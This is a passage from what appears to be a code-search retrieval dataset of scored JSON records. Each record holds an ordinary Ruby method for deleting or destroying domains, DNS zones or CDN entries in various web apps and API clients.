@account.domains.get!(params[:id])\n @domain.destroy\n\n respond_to do |format|\n flash[:notice] = t('domains.destroy.notice')\n format.html { redirect_to(domains_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "79fb410ba9279b6fcb9d0d79c4c4f263", "score": "0.6362462", "text": "def domainDelete args\n if not args.has_key?(:DomainID)\n raise \"DomainID argument missing from argument list\"\n end\n\n make_request this_method, args\n end", "title": "" }, { "docid": "12f67f49eb78d0291ab1c16a6f01c1c7", "score": "0.6353333", "text": "def ldap_domain_delete\n ldap_domains = []\n if params[:id].nil? || LdapDomain.find_by_id(params[:id]).nil?\n add_flash(_(\"LDAP Domain no longer exists\"), :error)\n javascript_flash\n else\n ldap_domains.push(params[:id])\n end\n ld = LdapDomain.find_by_id(params[:id])\n self.x_node = \"lr-#{ld.ldap_region_id}\"\n process_ldap_domains(ldap_domains, \"destroy\") unless ldap_domains.empty?\n get_node_info(x_node)\n replace_right_cell(:nodetype => x_node, :replace_trees => [:settings])\n end", "title": "" }, { "docid": "5a9f4588938f721aeed3b8b3d9b4e4b7", "score": "0.6349288", "text": "def delete(domain_name)\n domain_name = @client.url_encode(domain_name)\n @client.call(method: :delete, path: \"sending-domains/#{domain_name}\")\n end", "title": "" }, { "docid": "1f9ecf55d6c73164497e08e75ab25bf7", "score": "0.6348247", "text": "def delete(options={})\n options.merge!(DNSimple::Client.standard_options_with_credentials)\n self.class.delete(\"#{DNSimple::Client.base_uri}/domains/#{name}\", options)\n end", "title": "" }, { "docid": "bbbd3ba4b3c273eb5375402fb263d853", "score": "0.6337577", "text": "def destroy\n name = params[:name] || params[:id]\n name = name.downcase if name.presence\n get_domain(name)\n force = get_bool(params[:force])\n if force\n while (apps = Application.where(domain_id: @domain._id)).present?\n apps.each(&:destroy_app)\n end\n elsif Application.where(domain_id: @domain._id).present?\n if requested_api_version <= 1.3\n return render_error(:bad_request, \"Domain contains applications. Delete applications first or set force to true.\", 128)\n else\n return render_error(:unprocessable_entity, \"Domain contains applications. Delete applications first or set force to true.\", 128)\n end\n end\n # reload the domain so that MongoId does not see any applications\n @domain.reload\n result = @domain.delete\n status = requested_api_version <= 1.4 ? :no_content : :ok\n render_success(status, nil, nil, \"Domain #{name} deleted.\", result)\n end", "title": "" }, { "docid": "2dab96e0cb246d762fc5711dab89615a", "score": "0.6277566", "text": "def domains_delete\n debug 'Call: domains_delete'\n domains.each do |domain|\n domain_name = domain.fetch 'name'\n next unless domain_name\n unless domain_defined? domain_name\n warning \"Domain: #{domain_name} is not defined! Skipping!\"\n next\n end\n domain_delete domain_name\n end\n end", "title": "" }, { "docid": "fa69df54b2f0d915fa55f7af95ada3f5", "score": "0.6265364", "text": "def destroy\n @domain = RiGse::Domain.find(params[:id])\n @domain.destroy\n\n respond_to do |format|\n format.html { redirect_to(domains_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f29d33357134b136d642820b049ae420", "score": "0.6243805", "text": "def delete_cdn_domain(domain_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DeleteCdnDomain'\n\t\targs[:query]['DomainName'] = domain_name\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend", "title": "" }, { "docid": "3fb74bb6873fb37afd6a8d24644f618f", "score": "0.61792445", "text": "def destroy\n @dns_domain = DnsDomain.find(params[:id])\n @dns_domain.destroy\n\n respond_to do |format|\n format.html { redirect_to dns_domains_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1561659efd59911105b4a8c68b2637e7", "score": "0.61335164", "text": "def destroy\n @domain = Domain.find(params[:id])\n @domain.destroy\n\n respond_to do |format|\n format.html { redirect_to domains_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1561659efd59911105b4a8c68b2637e7", "score": "0.61335164", "text": "def destroy\n @domain = Domain.find(params[:id])\n @domain.destroy\n\n respond_to do |format|\n format.html { redirect_to domains_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f157df48df7be187e516bd93e43a1729", "score": "0.6133271", "text": "def delete(options={})\n DNSimple::Client.delete(\"/v1/domains/#{name}\", options)\n end", "title": "" }, { "docid": "12de164969c5827da51a805c8a670411", "score": "0.6124533", "text": "def test_40_delete_domain\n assert @sdb.delete_domain(@domain), 'delete_domain fail'\n wait SDB_DELAY, 'after domain deletion'\n # check that domain does not exist\n assert !@sdb.list_domains[:domains].include?(@domain)\n end", "title": "" }, { "docid": "32c6e254a9aff7b696d10e04c1541d0e", "score": "0.6121133", "text": "def destroy\n @domain = Domain.find(params[:id])\n @domain.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_index_domains_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d68be60fc95d3b13fc42dd76f1e711d6", "score": "0.6114069", "text": "def domain_del(domain)\n not_supported\n end", "title": "" }, { "docid": "d243853c31efb859d8ee45235db66a71", "score": "0.6107602", "text": "def delete(domain_name)\n domain_name = @client.url_encode(domain_name)\n @client.call(method: :delete, path: \"inbound-domains/#{domain_name}\")\n end", "title": "" }, { "docid": "80f3027073496d6f8eb1993617bd7498", "score": "0.6082635", "text": "def domain_delete\r\n DomainDeleteController.instance\r\n end", "title": "" }, { "docid": "80af1830f9285068029c11a6050f45f7", "score": "0.60491407", "text": "def destroy\n @domain.destroy\n respond_to do |format|\n format.html { redirect_to domains_url, notice: 'Domain was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "80af1830f9285068029c11a6050f45f7", "score": "0.60491407", "text": "def destroy\n @domain.destroy\n respond_to do |format|\n format.html { redirect_to domains_url, notice: 'Domain was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "80af1830f9285068029c11a6050f45f7", "score": "0.60491407", "text": "def destroy\n @domain.destroy\n respond_to do |format|\n format.html { redirect_to domains_url, notice: 'Domain was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d05cf3b8c46dfd01df9200a5beafba45", "score": "0.60462344", "text": "def destroy\n @domain = Domain.find(params[:id])\n @domain.destroy\n\n respond_to do |format|\n format.html { redirect_to(domains_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "cbff920e0196460d3ecd714ac7aedb6c", "score": "0.60408205", "text": "def destroy\n @domain.destroy\n respond_to do |format|\n format.html { redirect_to domains_url, notice: \"Domain was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "068d34a0b1f875c2b2532cd83b1c780a", "score": "0.60047686", "text": "def destroy\n @domain = Domain.find(params[:id])\n if @domain.nodes.count == 0\n @domain.destroy\n notice = \"域名删除成功!\"\n else\n notice = \"域名已被引用,无法删除!\"\n end\n\n respond_to do |format|\n format.html { redirect_to query_url(admin_domains_path, Domain, @current_user.uid), notice: notice }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3df958731d2dd23b9d2726ff1b97ba8d", "score": "0.59880334", "text": "def remove_domain(domain)\n domain_exist = false\n @server.connect do \n exit_status, stdout = @server.exec \"ls #{@home}/domains/#{domain}\"\n domain_exist = (exit_status == 0)\n display_ \"Removing '#{domain}'\" do\n if !domain_exist\n 'not configured'\n else\n @server.exec! \"rm -f #{@home}/domains/#{domain}\", sudo: true, error_msg: \"Cannot remove the domain\"\n 'done'\n end\n end\n end\n update_route if domain_exist\n end", "title": "" }, { "docid": "f69d962147c8a1ddd8fc4905db93d1b4", "score": "0.5958518", "text": "def destroy\n @domain = NgOrg.find(params[:id])\n @domain.destroy\n\n respond_to do |format|\n format.html { redirect_to domains_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0ad4867102082a3f96355e0cde7711a9", "score": "0.594931", "text": "def delete(domain)\n zone = @zones.detect {|z| z.domain == domain }\n return unless zone\n\n records_for_domain, records = @records.partition {|r| r.zone_id == zone.id }\n Reconciler.destroy_records records_for_domain\n end", "title": "" }, { "docid": "753970bda565203e75c1e6dcb4c4e40d", "score": "0.59490377", "text": "def destroy\n @domain = current_user.domains.by_name(params[:id])\n @domain.destroy\n\n respond_to do |format|\n format.html { redirect_to(domains_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "c265e0911ce10a7315e211ca98b4c6c5", "score": "0.59456617", "text": "def destroy\n @domainurl = Domainurl.find(params[:id])\n @domainurl.destroy\n flash[:notice]=\"#{@domainurl.domainurl} deleted!\"\n respond_to do |format|\n format.html { redirect_to domainurls_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f0f70fb2707b83eb86c32752cfd20956", "score": "0.5885055", "text": "def destroy\n @domain = current_user.domains.find(params[:id])\n @domain.destroy\n head :ok\n end", "title": "" }, { "docid": "82d2adc97d677ec82a9ce639a2755ecb", "score": "0.5884584", "text": "def destroy_domain(domain)\n domain = ::PowerDns::Domain.find_by_name(domain)\n return false if domain.nil?\n !!domain.destroy\n end", "title": "" }, { "docid": "5e418ed0523cf888231f9a29f7c616c4", "score": "0.5858317", "text": "def destroy\n @domain = Domain.find(params[:id])\n @domain.destroy\n\n respond_to do |format|\n format.html { redirect_to links_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "1324e81bbbed7e738e74e319e8e85317", "score": "0.5821632", "text": "def destroy\n @domain = Domain.find(params[:id])\n @domain.destroy\n\n respond_to do |format|\n format.html { render action: \"new\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2a28dbc1006407423d3cff66cc447c53", "score": "0.58128643", "text": "def remove\n unless domain = shift_argument\n error(\"Usage: heroku domains:remove DOMAIN\\nMust specify DOMAIN to remove.\")\n end\n validate_arguments!\n action(\"Removing #{domain} from #{app}\") do\n api.delete_domain(app, domain)\n end\n end", "title": "" }, { "docid": "f639a02d5d2bb4257f4b1762b337a0f1", "score": "0.5787959", "text": "def destroy\n @standard_domain.destroy\n respond_to do |format|\n format.html { redirect_to standard_domains_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e88d3e3e39c9739033b4b07203f7de95", "score": "0.5783119", "text": "def destroy\n @domain_name = DomainName.find(params[:id])\n @domain_name.destroy\n\n respond_to do |format|\n format.html { redirect_to(domain_names_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e88d3e3e39c9739033b4b07203f7de95", "score": "0.5783119", "text": "def destroy\n @domain_name = DomainName.find(params[:id])\n @domain_name.destroy\n\n respond_to do |format|\n format.html { redirect_to(domain_names_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "708a93175015a8e7ee99fddd8465d964", "score": "0.5726209", "text": "def halt\n domain = @conn.lookup_domain_by_uuid(@uuid)\n domain.destroy\n end", "title": "" }, { "docid": "708a93175015a8e7ee99fddd8465d964", "score": "0.5726209", "text": "def halt\n domain = @conn.lookup_domain_by_uuid(@uuid)\n domain.destroy\n end", "title": "" }, { "docid": "136673cfa9d99aeb48ac836a41961335", "score": "0.57198846", "text": "def delete(domain)\n\t\tputs \"Remove entry from the domains cache table: #{domain} \" if @verbose\n\t\tdomain=domain.strip.downcase\n\t\tif @known_internet_domains.key?(domain)\n\t\t\t@known_internet_domains.delete(domain)\n\t\t\tputs \"Entry cleared: #{domain}\"\n\t\t\treturn domain\n\t\telse\n\t\t\tputs \"Entry not fund. Skipping: #{domain}\"\n\t\tend\n\trescue => ee\n\t\tputs \"Exception on method #{__method__}: #{ee}\" if @verbose\n\tend", "title": "" }, { "docid": "c2861e158c92d7edd666dc44b7edb239", "score": "0.56923383", "text": "def destroy\n @project_domain.destroy\n respond_to do |format|\n format.html { redirect_to project_domains_url, notice: 'Project domain was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1b36088fbefa13da82ddc893cfab21ee", "score": "0.5688284", "text": "def destroy\n kill_docker()\n @domain.destroy\n respond_to do |format|\n format.html { redirect_to domains_url, notice: 'Domain was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1069dee0153d3804c6108c9e5589e6e3", "score": "0.56804085", "text": "def destroy\n @reserved_domain.destroy\n respond_to do |format|\n format.html { redirect_to reserved_domains_url, notice: 'Reserved domain was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "45a021ec810814d64bd1afcc64f22281", "score": "0.56526077", "text": "def delete_directory_domain_with_http_info(domain_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiDirectoryServiceApi.delete_directory_domain ...'\n end\n # verify the required parameter 'domain_id' is set\n if @api_client.config.client_side_validation && domain_id.nil?\n fail ArgumentError, \"Missing the required parameter 'domain_id' when calling ManagementPlaneApiDirectoryServiceApi.delete_directory_domain\"\n end\n # resource path\n local_var_path = '/directory/domains/{domain-id}'.sub('{' + 'domain-id' + '}', domain_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'force'] = opts[:'force'] if !opts[:'force'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiDirectoryServiceApi#delete_directory_domain\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "6c4b9d6181b8b38bed7315a73526c170", "score": "0.56486815", "text": "def destroy\n @domain.destroy\n\n respond_to do |format|\n format.html { redirect_to(@domain) }\n format.xml { head :ok }\n format.js { render(:update){ |page| page[dom_id(@domain)].remove() } }\n end\n end", "title": "" }, { "docid": "7f6f73f73fae3a9158252926f04f0523", "score": "0.56382525", "text": "def remove\n domain = args.shift.downcase rescue nil\n fail(\"Usage: heroku dns:add DOMAIN\") unless domain\n result = resource(\"/dns/#{domain}\").delete\n display \"Deleting #{domain}\"\n end", "title": "" }, { "docid": "595da1e48f716e6d75ade78f94d864ff", "score": "0.5633306", "text": "def delete\n self.class.call('domain.forward.delete', @domain.fqdn, @source)\n end", "title": "" }, { "docid": "7d4846ccb9fc1f2d4d4f53f3f5f4f890", "score": "0.56278586", "text": "def delete_domain_with_http_info(domain_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: PolicyApi.delete_domain ...\"\n end\n # verify the required parameter 'domain_id' is set\n if @api_client.config.client_side_validation && domain_id.nil?\n fail ArgumentError, \"Missing the required parameter 'domain_id' when calling PolicyApi.delete_domain\"\n end\n # resource path\n local_var_path = \"/infra/domains/{domain-id}\".sub('{' + 'domain-id' + '}', domain_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: PolicyApi#delete_domain\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "d4ece9c52e3e5ad361bc70b071007553", "score": "0.5581449", "text": "def delete \n res = RResponse.new\n begin \n Company.destroy(params[:id])\n res.msg = \"Deleted company\"\n res.success = true\n rescue Company::OrderError => e #<-- if this exception is caught, the company is attached to prev. orders.\n c = Company.find(params[:id])\n \n # remove company from its domain and save. company will no long be able to play in any reindeer games.\n c.domain_id = 0 \n c.save! \n res.msg = e\n res.success = true\n end\n \n respond(res)\n \n \n end", "title": "" }, { "docid": "4891f1ce4055af5621b0e22a5c394e0d", "score": "0.5559736", "text": "def delete_tenant_async(tenant_id)\n start.uri('/api/tenant')\n .url_segment(tenant_id)\n .url_parameter('async', true)\n .delete()\n .go()\n end", "title": "" }, { "docid": "37ef66be4a87799e2ed1da0e38574bc8", "score": "0.55442196", "text": "def destroy\n @domain_type.destroy\n respond_to do |format|\n format.html { redirect_to domain_types_url, notice: 'Domain type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a2825b21292a62948dfc3960b7f0c1af", "score": "0.5516257", "text": "def destroy\n @domain.destroy\n respond_to do |format|\n format.html { redirect_to \"/periods\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c461591191b8fe8395240d31849584dd", "score": "0.55036014", "text": "def delete_domain(name)\n WhoisRecord.where(name: name).destroy_all\n\n BlockedDomain.find_by(name: name).try(:generate_data)\n ReservedDomain.find_by(name: name).try(:generate_data)\n Dispute.active.find_by(domain_name: name).try(:generate_data)\n end", "title": "" }, { "docid": "015715820d83a2f3e8106db9d23632f7", "score": "0.5489335", "text": "def deldomain\n require_auth 'admin'\n if not params[:id].nil?\n id,domain = params[:id].split(',',2)\n @edituser = User.find(:first, :conditions => [\"id = ?\",id])\n if @edituser.domains.has_key? domain\n if @edituser.login == @user.login and domain == \"ADMIN\"\n flash.now['note'] = \"You can't remove yourself from admin!\"\n elsif @edituser.id == 1 and domain == \"ADMIN\"\n flash.now['note'] = \"You can't remove that user from admin!\"\n else\n @edituser.domains.delete(domain)\n if not @edituser.save\n flash.now['note'] = \"An error occured while saving the user\"\n end\n end\n end\n end\n if request.xhr?\n render :layout => false, :action => \"editdomains\"\n end\n end", "title": "" }, { "docid": "6bf6a3a5b9333238439d4dce46b58957", "score": "0.548672", "text": "def delete_domain(name)\n WhoisRecord.where(name: name).destroy_all\n\n BlockedDomain.find_by(name: name).try(:generate_data)\n ReservedDomain.find_by(name: name).try(:generate_data)\n end", "title": "" }, { "docid": "1dc31552b0d7d6cf8db336ceb2e20f46", "score": "0.54724336", "text": "def delete(domain = Mailgun.domain, campaign_id)\n Mailgun.submit :delete, campaign_url(domain, campaign_id)\n end", "title": "" }, { "docid": "ce038d156bef55640c9b8744aca5f4d1", "score": "0.5471027", "text": "def removedomain (opts)\n default_options = {\n :domain => '',\n :confirm => true\n }\n\n opts.reverse_merge! default_options\n post 'removedomain', opts\n end", "title": "" }, { "docid": "40779a33bc2f0aa43b50cc1f15d31990", "score": "0.5412518", "text": "def del zone, domain, ip_address\n update_record :delete, zone, domain, ip_address\n end", "title": "" }, { "docid": "051da643491734ffa653084e7477a17a", "score": "0.54081637", "text": "def domains_id_delete_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DomainsApi.domains_id_delete ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DomainsApi.domains_id_delete\"\n end\n # resource path\n local_var_path = '/domains/{id}'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ApiResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DomainsApi#domains_id_delete\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "709c90e6d84b4d8a0ceae4c3f178553f", "score": "0.5397847", "text": "def destroy\n @domain_list = DomainList.find(params[:id])\n @domain_list.destroy\n \n respond_to do |format|\n format.html { redirect_to domain_lists_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c351f7a413f6e49b4ea3b44f5f7e04c2", "score": "0.53954184", "text": "def remove(domain)\n server = Chaos::Server.new \"ssh://#{options[:server]}\"\n server.ask_user_password unless server.password?\n\n name = options[:name] || File.basename(Dir.pwd)\n app = Chaos::App.new name, server\n\n display_ \"Removing domains for '#{app.name}' on '#{app.server}'...\", :topic\n app.remove_domain domain\n end", "title": "" }, { "docid": "2657c49504ac4934ee7e4ba66c50f9f3", "score": "0.5390057", "text": "def delete_async(uri, *args)\n request_async2(:delete, uri, argument_to_hash(args, :body, :header, :query))\n end", "title": "" }, { "docid": "2a82d20b0518285b4f97b9fe53230c1f", "score": "0.5389821", "text": "def force_delete\n self.domains.each do |domain|\n domain.applications.each do |app|\n app.destroy_app\n end if domain.applications.count > 0\n domain.delete\n end if self.domains.count > 0\n self.delete\n end", "title": "" }, { "docid": "2ddb24df38df7fc97bbba9714d93c9c6", "score": "0.5366173", "text": "def delete!\n request = Net::HTTP::Delete.new(uri)\n response = get_response(request)\n GunBroker::Response.new(response)\n end", "title": "" }, { "docid": "2be5e140db80aa69ccb75fca4483fe8f", "score": "0.5350685", "text": "def delete_dns_authorization request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_dns_authorization_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "title": "" }, { "docid": "e0b00930d20223a3285a16c5e7666bf1", "score": "0.5335994", "text": "def domain_forward_delete(domain, source)\n call('domain_forward_delete', domain, source)\n end", "title": "" }, { "docid": "a137bf3856b445737389412ba7164a33", "score": "0.5335895", "text": "def destroy_domain(name)\n domain = ::Postfix::Domain.find_by_name(name)\n return false if domain.nil?\n !!domain.destroy\n end", "title": "" }, { "docid": "e2193368655babb02177189b9cf3376c", "score": "0.53352845", "text": "def delete(distinguished_name)\n @conn.delete(:dn => distinguished_name)\n return return_result\n end", "title": "" }, { "docid": "80217442803457cecd2cfb0337759e62", "score": "0.53211486", "text": "def delete(*args)\n url, subdomain, path, _ = parse_args(*args)\n rewrap_errors do\n RestClient.delete(build_url(url || subdomain, path), headers)\n end\n end", "title": "" }, { "docid": "d9a2c4021bee3e53560b52b53c88f7b0", "score": "0.53180945", "text": "def get_deleted_domains\n run_command :get_deleted_domains, :domain, {\n :key => 'attributes'\n }\n end", "title": "" }, { "docid": "b6d1cccb1ded60a52678c6972581d687", "score": "0.5300948", "text": "def delete!(opts = {})\n response = delete(opts)\n response.wait(opts)\n end", "title": "" }, { "docid": "b331ec4df71785b7e62c313f5f0dd647", "score": "0.528092", "text": "def destroy\n authorize! :destroy, @email_virtual_domain\n @email_virtual_domain.destroy\n respond_to do |format|\n format.html { redirect_to email_virtual_domains_url, notice: 'Email virtual domain was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f34c464d343c206cf7b8e607c21891f0", "score": "0.52644837", "text": "def delete_hosting_environment(resource_group_name, name, force_delete = nil, custom_headers = nil)\n # Send request\n promise = begin_delete_hosting_environment(resource_group_name, name, force_delete, custom_headers)\n\n promise = promise.then do |response|\n # Defining deserialization method.\n deserialize_method = lambda do |parsed_response|\n end\n\n # Waiting for response.\n @client.get_post_or_delete_operation_result(response, deserialize_method)\n end\n\n promise\n end", "title": "" }, { "docid": "f81596ce2a9ee45b6388f40cbf0fef04", "score": "0.5252955", "text": "def destroy\n if @domain.user != @current_user\n redirect_to domains_path\n end\n\n @domain.destroy\n redirect_to domains_url\n end", "title": "" }, { "docid": "0b0d9e764813d1255b0ad3186043d18b", "score": "0.5230321", "text": "def delete()\n response = send_post_request(@api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end", "title": "" }, { "docid": "04e353357b9df045db6bd09f2b1349e7", "score": "0.5223963", "text": "def destroy\n @domain = Domain.find(params[:id])\n @domain_style = DomainStyle.find_by_domain_id @domain.id\n @domain.destroy\n @domain_style.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_domains_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e084b5e170934a516b3cd73e01d1e326", "score": "0.5216576", "text": "def delete(uri, options = {})\n build_response(request.delete(uri, build_request_options(options)))\n end", "title": "" }, { "docid": "75cd99eac6dd2726e2011a52cb0223c7", "score": "0.5214723", "text": "def delete\n operation_hash = self.class.call('domain.host.delete', @hostname)\n Gandi::Operation.new(operation_hash['id'], operation_hash)\n end", "title": "" }, { "docid": "2c72cb232bc8da4671a8396d9b56fed7", "score": "0.52069473", "text": "def destroy\n @visited_domain.destroy\n respond_to do |format|\n format.html { redirect_to visited_domains_url, notice: 'Visited domain was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cfb776a643a08bdf41fd0a0d297d38b5", "score": "0.5198166", "text": "def destroy\n @bcc_conversion_disable_domain.destroy\n respond_to do |format|\n format.html { redirect_to bcc_conversion_disable_domains_url, notice: 'Bcc conversion disable domain was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "386387ffc3188f5f76a79b8e7189cdaf", "score": "0.51932883", "text": "def stop_cdn_domain(domain_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'StopCdnDomain'\n\t\targs[:query]['DomainName'] = domain_name\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend", "title": "" }, { "docid": "1d2caf32dc4ad40db3e06bd958f20aef", "score": "0.5178458", "text": "def delete\n data = Storm::Base::SODServer.remote_call \\\n '/Network/DNS/Zone/delete', :id => @id\n data[:deleted]\n end", "title": "" }, { "docid": "62ecfd03b2f40f4de0735ac53f71ad02", "score": "0.51733077", "text": "def delete_child_domain(child_identifier, domain_name, opts = {})\n delete_child_domain_with_http_info(child_identifier, domain_name, opts)\n nil\n end", "title": "" }, { "docid": "e4b87d71738df1b7e3afccaa36742c6e", "score": "0.51683813", "text": "def delete_child_domain_with_http_info(child_identifier, domain_name, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ResellerApi.delete_child_domain ...'\n end\n # verify the required parameter 'child_identifier' is set\n if @api_client.config.client_side_validation && child_identifier.nil?\n fail ArgumentError, \"Missing the required parameter 'child_identifier' when calling ResellerApi.delete_child_domain\"\n end\n # verify the required parameter 'domain_name' is set\n if @api_client.config.client_side_validation && domain_name.nil?\n fail ArgumentError, \"Missing the required parameter 'domain_name' when calling ResellerApi.delete_child_domain\"\n end\n # resource path\n local_var_path = '/reseller/children/{childIdentifier}/domains/{domainName}'.sub('{' + 'childIdentifier' + '}', child_identifier.to_s).sub('{' + 'domainName' + '}', domain_name.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api-key', 'partner-key']\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ResellerApi#delete_child_domain\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "3bbd10134afb51b10c61611a2545945d", "score": "0.51596427", "text": "def 